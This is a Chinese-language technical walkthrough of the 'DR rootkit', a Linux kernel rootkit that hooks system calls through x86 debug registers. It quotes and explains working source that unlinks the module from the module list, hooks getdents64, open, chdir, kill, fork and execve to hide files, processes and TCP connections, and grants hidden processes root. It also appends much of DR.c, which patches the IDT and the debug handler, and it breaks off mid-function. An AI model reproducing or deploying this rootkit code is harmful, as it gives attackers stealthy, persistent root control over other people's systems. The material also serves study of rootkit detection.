   604      sysenter_entry = __get_sysenter_entry(syscall_call, table);
   605      DEBUGLOG(("*** loader: systenter_entry call *table(,eax,4): %X\n",
sysenter_entry));
```

搜索符合“ff 14 85”这样 pattern 的指令。

```
   155  static unsigned int __get_sysenter_entry(unsigned int syscall_call, unsigned int
table)
   156  {
   157      /* do a backwards search from syscall_call for call *table(,%eax,4) */
   158      unsigned char *p        = (unsigned char *)syscall_call - 1;
   159      unsigned int verify     = 0;
   160
   161      while(!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
   162      {
   163          p --;
   164      }
   165
   166      verify = *(unsigned int *)(p+3);
   167      if (verify == table)
   168          return (unsigned int) p;
   169
   170      return 0;
   171  }
```

还是以 vmlinux-2.6.18-1.2798.fc6kdump 内核的反汇编为例

```
c1002dfb:      3d 3e 01 00 00          cmp    $0x13e,%eax
c1002e00:      0f 83 85 01 00 00       jae    0xc1002f8b
c1002e06:      ff 14 85 a0 34 20 c1          call   *0xc12034a0(,%eax,4)
c1002e0d:      89 44 24 18             mov    %eax,0x18(%esp)
c1002e11:      fa                      cli
c1002e12:      8b 4d 08                mov    0x8(%ebp),%ecx
c1002e15:      66 f7 c1 ff fe          test   $0xfeff,%cx
c1002e1a:      0f 85 2c 01 00 00       jne    0xc1002f4c
c1002e20:      8b 54 24 28             mov    0x28(%esp),%edx
c1002e24:      8b 4c 24 34             mov    0x34(%esp),%ecx
c1002e28:      31 ed                   xor    %ebp,%ebp
c1002e2a:      fb                      sti
c1002e2b:      0f 35                   sysexit
c1002e2d:      8d 76 00                lea    0x0(%esi),%esi
c1002e30:      50                      push   %eax
c1002e31:      fc                      cld
c1002e32:      06                      push   %es
c1002e33:      1e                      push   %ds
c1002e34:      50                      push   %eax
c1002e35:      55                      push   %ebp
c1002e36:      57                      push   %edi
c1002e37:      56                      push   %esi
c1002e38:      52                      push   %edx
c1002e39:      51                      push   %ecx
c1002e3a:      53                      push   %ebx
```

```
c1002e3b:       ba 7b 00 00 00          mov    $0x7b,%edx
c1002e40:       8e da                   movl   %edx,%ds
c1002e42:       8e c2                   movl   %edx,%es
c1002e44:       bd 00 f0 ff ff          mov    $0xffff000,%ebp
c1002e49:       21 e5                   and    %esp,%ebp
c1002e4b:       f7 44 24 30 00 01 00    testl  $0x100,0x30(%esp)
c1002e52:       00
c1002e53:       74 04                   je     0xc1002e59
c1002e55:       83 4d 08 10             orl    $0x10,0x8(%ebp)
c1002e59:       66 f7 45 08 81 01       testw  $0x181,0x8(%ebp)
c1002e5f:       0f 85 bf 00 00 00       jne    0xc1002f24
c1002e65:       3d 3e 01 00 00          cmp    $0x13e,%eax
c1002e6a:       0f 83 1b 01 00 00       jae    0xc1002f8b
c1002e70:       ff 14 85 a0 34 20 c1    call   *0xc12034a0(,%eax,4)
c1002e77:       89 44 24 18             mov    %eax,0x18(%esp)
c1002e7b:       fa                      cli
c1002e7c:       8b 4d 08                mov    0x8(%ebp),%ecx
c1002e7f:       66 f7 c1 ff fe          test   $0xfeff,%cx
c1002e84:       0f 85 c2 00 00 00       jne    0xc1002f4c
c1002e8a:       8b 44 24 30             mov    0x30(%esp),%eax
c1002e8e:       8a 64 24 38             mov    0x38(%esp),%ah
c1002e92:       8a 44 24 2c             mov    0x2c(%esp),%al
c1002e96:       25 03 04 02 00          and    $0x20403,%eax
c1002e9b:       3d 03 04 00 00          cmp    $0x403,%eax
c1002ea0:       74 0d                   je     0xc1002eaf
c1002ea2:       5b                      pop    %ebx
c1002ea3:       59                      pop    %ecx
c1002ea4:       5a                      pop    %edx
c1002ea5:       5e                      pop    %esi
c1002ea6:       5f                      pop    %edi
c1002ea7:       5d                      pop    %ebp
c1002ea8:       58                      pop    %eax
c1002ea9:       1f                      pop    %ds
c1002eaa:       07                      pop    %es
c1002eab:       83 c4 04                add    $0x4,%esp
c1002eae:       cf                      iret
```

__get_sysenter_entry(syscall_call, table)函数的参数 syscall_call 就是这里的 c1002e70，而 table 参数就是 0xc12034a0。

```
   155 static unsigned int __get_sysenter_entry(unsigned int syscall_call, unsigned int
table)
   156 {
   157     /* do a backwards search from syscall_call for call *table(,%eax,4) */
   158     unsigned char *p        = (unsigned char *)syscall_call - 1;
   159     unsigned int verify     = 0;
   160
   161     while(!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
   162     {
   163         p --;
   164     }
   165
   166     verify = *(unsigned int *)(p+3);
   167     if (verify == table)
   168         return (unsigned int) p;
   169
   170     return 0;
   171 }
```

__get_sysenter_entry（）函数做的事情很简单，就是从 c1002e70 往低地址搜索，找到 c1002e06 时 pattern 就匹配了，也就是 sysenter 进入点，调用系统调用表的代码处。

用这种方法大概纯粹是有得 Linux 内核源代码看吧，才能清楚获知 sysenter 与 int 0x80 之间的如此关系。当然通过反汇编也可以，但毕竟在有源代码保证的情况下还是最可靠的。这实在不知是不是 open source 的悲哀！

把 DR rootkit 本身从内核模块列表显示中删除（隐藏自身）

```
   622 #ifdef __UNLINK_LKM__
   623
   624     list_del(&THIS_MODULE->list);
   625
   626 #endif
```

所有的内核模块被链在一根链表上，这里把 DR rootkit 本身从这链表中摘除，这样用户用 lsmod 命令就发现不了了。

隐藏文件

应用程序一般通过 getdents 系统调用来查询文件系统中的目录和文件，自然 hook 该系统调用是隐藏文件的核心。内核中一般有两个与 getdents 相关的系统调用，getdents32 和 getdents64，现在系统一般都用后者（因为一般现在的 Linux 系统都已经支持 64 位的所谓 large file）。

该调用的函数原型如下：

```
int getdents(unsigned int fd, struct dirent *dirp, unsigned int count);
```

关键就是这里的 struct dirent *dirp 参数。手册上的解释是：

```
The system call getdents reads several dirent structures from the directory pointed at by
fd into the memory area pointed to by dirp.  The parameter count is the size of the
memory area.

The dirent structure is declared as follows:

struct dirent
{
    long d_ino;                 /* inode number */
    off_t d_off;                /* offset to next dirent */
    unsigned short d_reclen;    /* length of this dirent */
    char d_name [NAME_MAX+1];   /* file name (null-terminated) */
}
```

即内核把某个目录包含的子目录或文件都放在 dirent 结构中返回，其中 d_ino 是文件的 inode 号，而 d_name 是文件名。隐藏的思路很简单就是，在内核返回后，修改该结构，把要隐藏的文件名和子目录给“擦掉”就行了。

```
   177 asmlinkage /* modified this .. but still not happy -bas */
   178 static int hook_getdents64 (unsigned int fd, struct dirent64 __user *dirp,
unsigned int count)
   179 {
   180     struct dirent64 *our_dirent;
   181     struct dirent64 *their_dirent;
   182     struct dirent64 *p;
   183     struct inode *proc_node;
   184     long their_len  = 0;
   185     long our_len    = 0;
   186     void **sys_p    = (void **)sys_table_global;
   187     asmlinkage int (*original_getdents64)(unsigned int fd, struct dirent64 __user
*dirp, unsigned int count) \
   188                                 = sys_p[__NR_getdents64];
   189
   190 #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
   191     proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
   192 #else
   193     proc_node = current->files->fd[fd]->f_dentry->d_inode;
   194 #endif
   195
   196     their_dirent    = (struct dirent64 *) kmalloc(count, GFP_KERNEL);
   197     our_dirent      = (struct dirent64 *) kmalloc(count, GFP_KERNEL);
   198
   199     /* can't read into kernel land due to !access_ok() check in original */
   200     their_len = original_getdents64(fd, dirp, count);
```

```
201
202     if (their_len <= 0)
203     {
204         kfree(their_dirent);
205         kfree(our_dirent);
206         return their_len;
207     }
208
209     /* hidden processes get to see life */
210     if (current->flags & PROC_HIDDEN)
211     {
212         kfree(their_dirent);
213         kfree(our_dirent);
214         return their_len;
215     }
216
217     /* copy out the original results */
218     copy_from_user(their_dirent, dirp, their_len);
219
220     p = their_dirent;
221     while (their_len > 0)
222     {
223         int next        = p->d_reclen;
224         int hide_proc   = 0;
225         char *adjust    = (char *)p;
226
227         /* See if we are looking at a process */
228         if (proc_node->i_ino == PROC_ROOT_INO)
229         {
230             struct task_struct *htask = current;
231         #ifdef __DEBUG__
232             printk("*** getdents64 dealing with proc entry\n");
233         #endif
234             for_each_process(htask)
235             {
236                 if(htask->pid == simple_strtoul(p->d_name, NULL, 10))
237                 {
238                     if (htask->flags & PROC_HIDDEN)
239                         hide_proc = 1;
240
241                     break;
242                 }
243             }
244         }
245
246         /* Hide processes flagged or filenames starting with HIDE*/
247         if ((hide_proc == 1) || (strstr(p->d_name, HIDE) != NULL))
248         {
249         #ifdef __DEBUG__
250             printk("*** getdents64 hiding: %s\n", p->d_name);
251         #endif
252         }
253         else
254         {
255             memcpy((char *)our_dirent + our_len, p, p->d_reclen);
256             our_len += p->d_reclen;
257         }
258
259         adjust      += next;
260         p           = (struct dirent64 *)adjust;
261         their_len   -= next;
262     }
263
264     /* clear the userland completely */
265     memset(their_dirent, 0, count);
266     copy_to_user((void *) dirp, (void *) their_dirent, count);
267
268     /* update userland with faked results */
269     copy_to_user((void *) dirp, (void *) our_dirent, our_len);
270
271     kfree(our_dirent);
```

```
   272      kfree(their_dirent);
   273
   274      return our_len;
   275  }
```

详细解释一下：

```
   187      asmlinkage int (*original_getdents64)(unsigned int fd, struct dirent64 __user
*dirp, unsigned int count) \
   188                                      = sys_p[__NR_getdents64];
```

original_getdents64 保存原来内核的 getdents64 系统调用的函数指针，下面要用。

```
   190  #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
   191      proc_node = current->files->fdt->fd[fd]->f_dentry->d_inode;
   192  #else
   193      proc_node = current->files->fd[fd]->f_dentry->d_inode;
   194  #endif
```

对/proc 这个虚拟文件系统而言，即使是 2.6 内核，其数据结构也不太一样，这里因不同版本而调整一下。

```
   196      their_dirent    = (struct dirent64 *) kmalloc(count, GFP_KERNEL);
   197      our_dirent      = (struct dirent64 *) kmalloc(count, GFP_KERNEL);
```

申请内核空间的内存。

```
   199      /* can't read into kernel land due to !access_ok() check in original */
   200      their_len = original_getdents64(fd, dirp, count);
```

调用原来的 getdents64 函数来真正读取文件系统中的文件与目录信息。

```
   202      if (their_len <= 0)
   203      {
   204          kfree(their_dirent);
   205          kfree(our_dirent);
   206          return their_len;
   207      }
```

如果调用失败，则什么都不处理，释放一下内存就走人。（这里如果把 L199 与 L200 行的分配内存移到 L217 之后，可能更合理。）

```
   209      /* hidden processes get to see life */
   210      if (current->flags & PROC_HIDDEN)
   211      {
   212          kfree(their_dirent);
   213          kfree(our_dirent);
   214          return their_len;
   215      }
```

这是对被隐藏进程的特殊处理。current 是指当前进程，也就是发起本次 getdents64 系统调用的进程，如果当前进程被隐藏了，那么它本身当然希望看到真实的文件目录，即对被隐藏进程而言，隐藏文件是“不隐藏”的。

```
   217      /* copy out the original results */
   218      copy_from_user(their_dirent, dirp, their_len);
```

调用系统原来的 getdents64 读出的目录信息是放在用户态空间里的，所以要通过该函数把它复制到 their_dirent 的内核空间里来。其实，我倒觉得这好像没必要，这时用户态空间 dirp 肯定是合法的，否则调用原有 getdents64 时就会报错了。

下面就是对读出的目录信息进行循环处理，看是不是本 rootkit 要隐藏的，如果是则把该信息剔除掉。

```
227         /* See if we are looking at a process */
228         if (proc_node->i_ino == PROC_ROOT_INO)
229         {
230             struct task_struct *htask = current;
231         #ifdef __DEBUG__
232             printk("*** getdents64 dealing with proc entry\n");
233         #endif
234             for_each_process(htask)
235             {
236                 if(htask->pid == simple_strtoul(p->d_name, NULL, 10))
237                 {
238                     if (htask->flags & PROC_HIDDEN)
239                         hide_proc = 1;
240
241                     break;
242                 }
243             }
244         }
```

这实际上是为了实现隐藏进程。因为 ps 等用户态的工具都是通过查看/proc 这个虚拟文件系统来显示进程信息的。在/proc 目录下各个数字的目录实际上代表了一个个进程，其数字是进程号，即 pid。这里通过 for_each_process 这个内核宏来枚举当前系统中所有的进程，然后查看是否被隐藏，如果是，则/proc 目录下对应的代表该进程的数字目录就被剔除。

```
246         /* Hide processes flagged or filenames starting with HIDE*/
247         if ((hide_proc == 1) || (strstr(p->d_name, HIDE) != NULL))
248         {
249         #ifdef __DEBUG__
250             printk("*** getdents64 hiding: %s\n", p->d_name);
251         #endif
252         }
253         else
254         {
255             memcpy((char *)our_dirent + our_len, p, p->d_reclen);
256             our_len += p->d_reclen;
257         }
```

如果目录名或文件名中包含 HIDE 所代表的字符串，则该目录或文件被隐藏。

```
59      static char *HIDE           = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00";
```

L255 和 L257 就是剔除该目录项，这样在 getdents 返回的信息里面就没有该目录项了，实现了“隐藏”。隐藏其实就这么简单。

getdents 系统调用时实现隐藏的主要函数，还有一些辅助隐藏的系统调用也要处理。

对 chdir 系统调用的 hook

```
587 asmlinkage
588 static int hook_chdir(const char __user *path)
589 {
590     int fd          = 0;
591     struct inode *inode;
592
593     void **sys_p = (void **)sys_table_global;
594     asmlinkage int (*original_sys_chdir)(const char *path) = sys_p[__NR_chdir];
595     asmlinkage int (*original_sys_open)(const char *pathname, int flags, int mode)
= sys_p[__NR_open];
596     asmlinkage int (*original_sys_close)(int fd) = sys_p[__NR_close];
597
598     if (current->flags & PROC_HIDDEN)
599         return original_sys_chdir(path);
```

同样的，对被隐藏进程而言，是没有什么可以“隐藏”的。

```
600
601     fd = original_sys_open(path, O_RDONLY, 0);
602     if (fd < 0)
603         goto error_fd;
```

```
604
605 #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
606     inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
607 #else
608     inode = current->files->fd[fd]->f_dentry->d_inode;
609 #endif
610
611     /* check if file belongs to our egid */
612     if (inode->i_gid == EVIL_GID)
613     {
614         original_sys_close(fd);
615         return -ENOENT;
616     }
```

检查 chdir 是要切换到被隐藏的目录去吗，如果是，那当然是不允许的。目录都被隐藏了，当然是“不存在”的，怎么可以成功的把目录切换到“不存在”的目录去呢？所以这里要检查一下。凡是被隐藏的文件和目录的 group id 都会被修改成特定的 EVIL_GID 值。这个值是什么无所谓，只要不要与已有的系统中的值冲突就行。

```
617
618     original_sys_close(fd);
619
620 error_fd:
621     return original_sys_chdir(path);
622 }
```

对 open 系统调用的 hook

```
624 asmlinkage
625 static int hook_open(const char __user *pathname, int flags, int mode)
626 {
627     int fd              = 0;
628     struct inode *inode;
629
630     void **sys_p = (void **)sys_table_global;
631     asmlinkage int (*original_sys_open)(const char *pathname, int flags, int mode)
= sys_p[__NR_open];
632     asmlinkage int (*original_sys_close)(int fd) = sys_p[__NR_close];
633
634     if (current->flags & PROC_HIDDEN)
635         return original_sys_open(pathname, flags, mode);
```

同样的，对被隐藏进程而言，是没有什么可以“隐藏”的。自然能打开被隐藏的“不存在”的文件。

```
636
637     fd = original_sys_open(pathname, flags, mode);
638     if (fd < 0)
639         goto out;
640
641 #if LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,14)
642     inode = current->files->fdt->fd[fd]->f_dentry->d_inode;
643 #else
644     inode = current->files->fd[fd]->f_dentry->d_inode;
645 #endif
646
647     if (inode->i_gid == EVIL_GID)
648     {
649         original_sys_close(fd);
650         return -ENOENT;
651     }
```

检查是否要打开被隐藏的文件，如果是，则不允许。原理同上面的对 chdir 系统调用的 hook 一样。

```
652
653 out:
654     return fd;
655 }
```

隐藏进程

隐藏进程的工作，部分已经在隐藏文件这一节中实现了，但还有一些工作要做。

隐藏进程用到的数据结构也很简单，就是如下：

```
51  #define SHRT_MAX    0x7fff
57  signed short hidden_pids[SHRT_MAX];
```

以 pid 为索引，如果 hidden_pids[]的该项为 1,则表示该 pid 所代表的进程被隐藏。

截获 execve 系统调用

```
378  /*
379      The hacked execve will fix the flag to add our PROC_HIDDEN
380      Once set on parent, flag will be copied automagically by the
381      kernel to its childs. We also give root priviledges, just for fun.
382  */
383
384  asmlinkage
385  static int hook_execve(const char *filename, char *const argv[], char *const
envp[])
386  {
387      int ret;
388      void **sys_p = (void **)sys_table_global;
389      asmlinkage int (*original_execve)(const char *filename, char *const argv[],
char *const envp[]) = sys_p[__NR_execve];
390
391      if(current->flags & PROC_HIDDEN)
392      {
393          if (current->pid > 0 && current->pid < SHRT_MAX)
394              hidden_pids[current->pid] = 1;
395      }
```

如果当前进程是隐藏的，则对 hidden_pids[]数组中的该项置位。

```
396
397      if((strstr(filename, HIDE) != NULL))
398      {
399          current->uid    = 0;
400          current->euid   = 0;
401          current->gid    = EVIL_GID;
402          current->egid   = EVIL_GID;
403          current->flags  = current->flags | PROC_HIDDEN;
404          if (current->pid > 0 && current->pid < SHRT_MAX)
405              hidden_pids[current->pid] = 1;
406      }
```

如果要运行的可执行文件是被隐藏的，那由该程序而生的进程自然也是被隐藏的。被隐藏进程具有 root 权限，并把 group id 改为 EVIL_GID 的值。

```
407      ret = (*original_execve)(filename, argv, envp);
408      return ret;
409  }
```

真正去调用系统原有的 execve 的系统调用。

截获 fork 系统调用

```
411  /*
412      BUG: This is not the sys_fork in the syscall table it has more args
413      its hacked_sys_fork(struct pt_regs)
414      http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html
415  */
416
417  asmlinkage
418  static int hook_fork(struct pt_regs regs)
419  {
420      int ret;
421      void **sys_p = (void **)sys_table_global;
422      asmlinkage int (*original_sys_fork)(struct pt_regs regs) = sys_p[__NR_fork];
423
424      ret = (*original_sys_fork)(regs);
```

调用内核原有的 fork 系统调用。

```
425 #ifdef __DEBUG__
426     printk("return from sys_fork = %d", ret);
427     printk("current=0x%p ret is %d", current, ret);
428 #endif
429     if((current->flags & PROC_HIDDEN) && ret > 0 && ret < SHRT_MAX)
430     {
431         hidden_pids[ret] = 1;
432     }
433     return ret;
434 }
```

如果父进程是隐藏的，那么子进程自然也应当是隐藏的。

截获 kill 系统调用

```
436 asmlinkage
437 static int hook_kill(int pid, int sig)
438 {
439     void **sys_p = (void **)sys_table_global;
440     asmlinkage long (*original_sys_kill)(int pid, int sig) = sys_p[__NR_kill];
441
442     if(current->flags & PROC_HIDDEN)
443     {
444         return original_sys_kill(pid, sig);
445     }
```

被隐藏进程本身是能收到由 kill 发来的 signal 的。

```
446     if((pid > 0 && pid < SHRT_MAX) && hidden_pids[pid] == 1)
447     {
448         return -1;
449     }
450     return original_sys_kill(pid, sig);
451 }
```

一个“不存在”的进程怎么可能接受信号呢？

截获 exit 系统调用

```
453 asmlinkage
454 static void hook_exit(int code)
455 {
456     void **sys_p = (void **)sys_table_global;
457     asmlinkage long (*original_sys_exit)(int code) = sys_p[__NR_exit];
458
459     if (current->pid > 0 && current->pid < SHRT_MAX)
460         hidden_pids[current->pid] = 0;
461     return original_sys_exit(code);
462 }
```

被隐藏进程退出是要清理一下数据结构。

截获 getpriority 系统调用

```
464 asmlinkage
465 static int hook_getpriority(int which, int who)
466 {
467     void **sys_p = (void **)sys_table_global;
468     asmlinkage int (*original_sys_getpriority)(int which, int who) =
sys_p[__NR_getpriority];
469
470     if(current->flags&PROC_HIDDEN)
471     {
472         /* Hidden processes see all */
473         return (*original_sys_getpriority)(which, who);
474     }
```

被隐藏进程本身当然能查询到自己的 priority。

```
475
476     if(who < 0 || who > SHRT_MAX)
477     {
478         return (*original_sys_getpriority)(which, who);
479     }
```

```
   480      if(which == PRIO_PROCESS && who > 0 && who < SHRT_MAX && hidden_pids[who])
   481      {
   482          errno = -1;
   483          return -ESRCH;
   484      }
   485      return (*original_sys_getpriority)(which, who);
   486  }
```

要查询被隐藏进程的 priority，返回没有该进程（ESRCH）.

隐藏网络通讯

由于 DR rootkit 只属于原型开发，所以在网络通讯隐藏方面知识实例性质的，遗漏了很多东西。比如它只是会隐藏 tcp 链接，对 udp 和 raw socket 就不管了。

隐藏原理

Netstat 等用户态的查询网络状况的工具都是通过查询/proc/net 目录下的各个虚拟文件来反馈给用户信息的。在/proc/net 目录下有很多文件，一般常规要截获的是如下文件：
/proc/net/raw
/proc/net/raw6
/proc/net/tcp
/proc/net/tcp6
/proc/net/udp
/proc/net/udp6
这里凡是带 6 的是指 Ipv6。
如果你要隐藏无线的网络通讯的话，还要截获/proc/net/wireless。

当 netstat 要获知当前系统的网络状况时，就会读取上面的各个虚拟文件（这些文件都是内核虚拟出来的，并不实际存在与硬盘上）。你可以用 cat 命令来读取这些文件，netstat 只不过把这些文件里的内容解读了一下，以更易懂的方式显示给用户。

截获 socketcall 系统调用

```
   488  /*
   489      When creating a new socket check if caller is hidden, if so set the socket as
hidden.
   490      FILE_HIDE since sockets are files.
   491  */
   492
   493  asmlinkage
   494  static int hook_socketcall(int call, unsigned long *args)
   495  {
   496      long ret;
   497      struct file *filep;
   498
   499      void **sys_p = (void **)sys_table_global;
   500      asmlinkage int (*original_socket_call)(int call, unsigned long *args) =
sys_p[__NR_socketcall];
   501
   502      ret = original_socket_call(call, args);
   503      if((current->flags & PROC_HIDDEN) && ret > 0)
   504      {
   505          filep = fget(ret);
   506          if(filep == NULL)
   507          {
   508              /* some call will create sockets(recv, send) they will be destroyed
anyway */
   509              return ret;
   510          }
   511          filep->f_flags = filep->f_flags | FILE_HIDE;
   512
   513      }
   514      return ret;
   515  }
```

对于被隐藏进程，即建立的 socket 链接自然要被隐藏。这里对该 socket 所代表的 file handle 置隐藏位，以便在 hook_tcp4_seq_show（）函数中判断是否要隐藏。

```
517 /*
518     This function is called when /net/proc/tcp is read, its in charge of
519     writing the data about current sockets, so we need to subvert that data.
520 */
521
522 static int hook_tcp4_seq_show(struct seq_file *seq, void *v)
523 {
524     struct sock *sock = (struct sock *) v;
525     struct socket *socke;
526     struct file *filep;
527
528   /*
529   //debbuging
530     struct inet_sock *inet;
531     __be32 dest;
532     __be32 src;
533   __u16 destp;
534   __u16 srcp;
535   */
536
537     /* First call, v is just a number, it prints the headers */
538     if(v == SEQ_START_TOKEN)
539     {
540         return (*original_tcp4_seq_show)(seq, v);
541     }
542
543     /*
544     // This is great for debugging
545     inet = inet_sk(sock);
546     dest = inet->daddr;
547     src = inet->rcv_saddr;
548     destp = ntohs(inet->dport);
549     srcp = ntohs(inet->sport);
550     printk("\n%d:%d %d:%d\n", src, srcp, dest, destp);
551     printk("current is %s and flags are %d\n", current->comm, current->flags);
552     */
553
554     /* Get the associated socket to sock, anf from there the file */
555
556     socke = sock->sk_socket;
557     /* Dont know why this happens, but sk_socket get set to 1 */
558     if(socke == NULL || (int)socke == 1)
559     {
560         return 0;
561     }
562     filep = socke->file;
563     if(current->flags & PROC_HIDDEN)
564     {
565         /* Hidden processes see all */
566         return (*original_tcp4_seq_show)(seq, v);
567     }
568     /* Check if its not hidden */
569     if(!(filep->f_flags & FILE_HIDE))
570     {
571         /* Not hidden, write all data */
572         return (*original_tcp4_seq_show)(seq, v);
573     }
574     else
575     {
576         /*This socket is hidden, dont print anything about it  */
577         return 0;
578     }
579 }
```

如果是隐藏进程建立的 TCP 链接，则需要隐藏，则该函数什么也不做，只是返回 0 就行了。

联系

Walter Zhou

2009-5-12

z-l-dragon@hotmail.com

附录

DR.c

```
/*
    A simple DR based Linux kernel hooking engine

    Miami Beach
    08/12/2008
*/

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/ptrace.h>
#include <linux/errno.h>
#include <linux/user.h>
#include <linux/security.h>
#include <linux/unistd.h>
#include <linux/notifier.h>

#include <linux/version.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24)
    #include <asm-i386/debugreg.h>
#else
    #include <asm-x86/debugreg.h>
#endif

#define __SYSENTER_ENABLE__

//#define __UNLINK_LKM__

/* define this if you want (very) verbose kern logs */

/*#define __DEBUG__*/

#ifdef __DEBUG__
    #define DEBUGLOG(a) printk a
#else
    #define DEBUGLOG(a) ""
#endif

/* hooks live here - has sys_table_global */
#include "hooktable.h"

/*
    __get_int_handler(int offset)

    in:     interrupt # as an offset
    out:    address of interrupt handler
*/

static int __get_int_handler(int offset)
{
    int idt_entry   = 0;

                            /* off2 << 16 | off1 */
    __asm__ __volatile__ (  "xorl %%ebx,%%ebx               \n\t"
                            "pushl %%ebx                    \n\t"
```

```
                            "pushl %%ebx                    \n\t"
                            "sidt (%%esp)                   \n\t"
                            "movl 2(%%esp),%%ebx            \n\t"
                            "movl %1,%%ecx                  \n\t"
                            "leal (%%ebx, %%ecx, 8),%%esi   \n\t"
                            "xorl %%eax,%%eax               \n\t"
                            "movw 6(%%esi),%%ax             \n\t"
                            "roll $0x10,%%eax               \n\t"
                            "movw (%%esi),%%ax              \n\t"
                            "popl %%ebx                     \n\t"
                            "popl %%ebx                     \n\t"
                            : "=a" (idt_entry)
                            : "r" (offset)
                            : "ebx", "esi" );

    return idt_entry;
}

/*
    __set_int_handler(int addr, offset)

    in: function pointer to set for interrupt
    in: interrupt #
*/

static void __set_int_handler(unsigned int addr, int offset)
{
                            /* off2 << 16 | off1 */
    __asm__ __volatile__ (  "xorl %%ebx,%%ebx               \n\t"
                            "pushl %%ebx                    \n\t"
                            "pushl %%ebx                    \n\t"
                            "sidt (%%esp)                   \n\t"
                            "movl 2(%%esp),%%ebx            \n\t"
                            "movl %0,%%ecx                  \n\t"
                            "leal (%%ebx, %%ecx, 8),%%edi   \n\t"
                            "movl %1,%%eax                  \n\t"
                            "movw %%ax,(%%edi)              \n\t"
                            "shrl $0x10,%%eax               \n\t"
                            "movw %%ax,6(%%edi)             \n\t"
                            "popl %%ebx                     \n\t"
                            "popl %%ebx                     \n\t"
                            "xorl %%eax,%%eax               \n\t"
                            :
                            : "r" (offset), "r" (addr)
                            : "ebx", "edi" );

}

/*
    __get_syscall_table(int idt_entry)

    in:     Interrupt handler addr
    out:    syscall_call/syscall_table

    Return the syscall_table location based on an IDT entry addr
    or the value of syscall_call pending on mode.
*/

#define RETURN_SYSCALL_TABLE    0
#define RETURN_SYSCALL_CALL     1

static unsigned int __get_syscall_table(int idt_entry, int mode)
{
    unsigned char *p = (unsigned char *)idt_entry;
    unsigned int table;

    while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
    {
        p ++;
    }
```

```
    table = *(unsigned int *)(p+3);

    /* returns sycall_table location from code */
    if (mode == RETURN_SYSCALL_TABLE)
        return table;

    /* returns syscall_call label loc to breakpoint on */
    if (mode == RETURN_SYSCALL_CALL)
        return (unsigned int)p;

    return 0;
}

/*
    __get_sysenter_call

    in:     syscall_call address
    in:     syscall_table address
    out:    sysenter_call address

    NOTE:

    Alternatively there is also a cmpl to sysenter_entry in the
    debug ENTRY .. but we want the direct offset to the syscall_table
    call in sysenter_entry anyways, so this is just as valid.

*/

static unsigned int __get_sysenter_entry(unsigned int syscall_call, unsigned int table)
{
    /* do a backwards search from syscall_call for call *table(,%eax,4) */
    unsigned char *p        = (unsigned char *)syscall_call - 1;
    unsigned int verify     = 0;

    while(!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85)))
    {
        p --;
    }

    verify = *(unsigned int *)(p+3);
    if (verify == table)
        return (unsigned int) p;

    return 0;
}

/*
    __set_bpN(int addr, int ctrl)

    in:         address to breakpoint
    in:         control bits for dr7

    dr0-dr3:    breakpoint registers
    d6:         condition register
    dr7:        control register
*/

/*
    Define our trap mask
*/

#define TRAP_GLOBAL_DR0 1<<1
#define TRAP_GLOBAL_DR1 1<<3
#define TRAP_GLOBAL_DR2 1<<5
#define TRAP_GLOBAL_DR3 1<<7

/* exact instruction detection not supported on P6 */
#define TRAP_LE         1<<8
#define TRAP_GE         1<<9

/* Global Detect flag */
```

```
#define GD_ACCESS       1<<13

/* 2 bits R/W and 2 bits len from these offsets */
#define DR0_RW      16
#define DR0_LEN     18
#define DR1_RW      20
#define DR1_LEN     22
#define DR2_RW      24
#define DR2_LEN     26
#define DR3_RW      28
#define DR3_LEN     30
/* IA32_SDM_3B.pdf */

/*
    So that we can set our main watch on all cpu's
    in the actual handler we only care about THAT cpu
    so we don't have to set a smp watch there afaik
*/

struct watch {
    unsigned int dr0;
    unsigned int dr1;
    unsigned int dr2;
    unsigned int dr3;
    unsigned int stat;
    unsigned int ctrl;
};

static void __set_watch(struct watch *watches)
{
    if (watches->dr0)
        __asm__ __volatile__ (  "movl %0,%%dr0   \n\t"
                                :
                                : "r" (watches->dr0)    );

    if (watches->dr1)
        __asm__ __volatile__ (  "movl %0,%%dr1   \n\t"
                                :
                                : "r" (watches->dr1)    );

    if (watches->dr2)
        __asm__ __volatile__ (  "movl %0,%%dr2   \n\t"
                                :
                                : "r" (watches->dr2)    );

    if (watches->dr3)
        __asm__ __volatile__ (  "movl %0,%%dr2   \n\t"
                                :
                                : "r" (watches->dr3)    );

    /* set status */
    if (watches->stat)
        __asm__ __volatile__ (  "movl %0,%%dr6   \n\t"
                                :
                                : "r" (watches->stat)   );

    /* set ctrl */
    if (watches->ctrl)
        __asm__ __volatile__ (  "movl %0,%%dr7  \n\t"
                                :
                                : "r" (watches->ctrl)   );

}

/*
    The patched do_debug handler

    original lives at: ./arch/i386/kernel/traps.c:do_debug

    NOTE:
```

```
    This is where we would handle access to the debug regs
    for full stealth .. considering this is intended as a
    penetration testing rootkit .. I've not included this.

entry.S - 2.6:

KPROBE_ENTRY(debug)
        RING0_INT_FRAME
        cmpl $sysenter_entry,(%esp)     <- find sysenter_entry here too!
        jne debug_stack_correct
        FIX_STACK(12, debug_stack_correct, debug_esp_fix_insn)
debug_stack_correct:
        pushl $-1                       # mark this as an int
        CFI_ADJUST_CFA_OFFSET 4
        SAVE_ALL
        xorl %edx,%edx                  # error code 0
        movl %esp,%eax                  # pt_regs pointer
        call do_debug                   <- PATCH ME!
        jmp ret_from_exception
        CFI_ENDPROC
KPROBE_END(debug)


*/

/*
    __get_do_debug_2_6(int handler)

    in:     address of INT1 handler
    out:    original do_debug address

    Finds the 'call do_debug' and patches the offset
    to point to our patched handler.
*/

static int __get_and_set_do_debug_2_6(unsigned int handler, unsigned int my_do_debug)
{
    unsigned char *p        = (unsigned char *)handler;
    unsigned char buf[4]    = "\x00\x00\x00\x00";
    unsigned int offset     = 0;
    unsigned int orig       = 0;

